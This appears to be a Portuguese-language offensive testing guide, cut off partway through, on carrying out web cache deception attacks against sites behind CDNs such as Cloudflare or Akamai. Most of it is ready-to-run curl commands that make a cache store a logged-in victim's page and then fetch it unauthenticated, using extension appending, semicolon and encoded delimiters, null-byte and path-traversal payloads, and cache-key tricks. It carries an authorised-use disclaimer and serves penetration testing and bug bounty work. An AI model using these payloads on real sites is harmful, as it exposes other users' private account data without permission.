Realizando Ataque de Engano de Cache Web

Quando Usar

• Ao testar aplicações atrás de CDNs ou proxies reversos (Cloudflare, Akamai, Varnish, Nginx)
• Durante a avaliação do comportamento de cache de páginas autenticadas
• Ao avaliar diferenças de normalização de caminho entre as camadas de cache e de origem
• Durante a caça a bugs em aplicações com políticas de cache agressivas
• Ao testar a exposição de dados sensíveis através de má configuração da camada de cache

Pré-requisitos

• Compreensão dos mecanismos de cache HTTP (cabeçalhos Cache-Control, Vary, Age)
• Conhecimento de normalização de caminhos de CDN e construção de chaves de cache
• Burp Suite para interceptar e criar requisições
• Duas sessões de navegador (vítima autenticada e atacante não autenticado)
• Compreensão das diferenças de análise de caminhos de URL entre tecnologias
• Familiaridade com plataformas comuns de CDN (Cloudflare, Akamai, Fastly, AWS CloudFront)

Aviso Legal: Esta habilidade é apenas para fins de teste de segurança autorizado e educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar a Camada e o Comportamento de Cache

# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

Passo 2 — Testar Engano de Cache Baseado em Caminho

# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done

Passo 3 — Explorar Discrepâncias Baseadas em Delimitadores

# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"

Passo 4 — Testar Discrepâncias de Normalização

# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"

Passo 5 — Explorar Manipulação de Chave de Cache

# Identificar componentes da chave de cache
# A CDN pode usar: esquema + host + caminho (excluindo a string de consulta)
# Testar se a string de consulta afeta o cache

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Testar se a CDN usa o caminho completo ou o caminho normalizado como chave de cache
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Verificar se está em cache

# Manipulação de chave de cache baseada em cabeçalho

…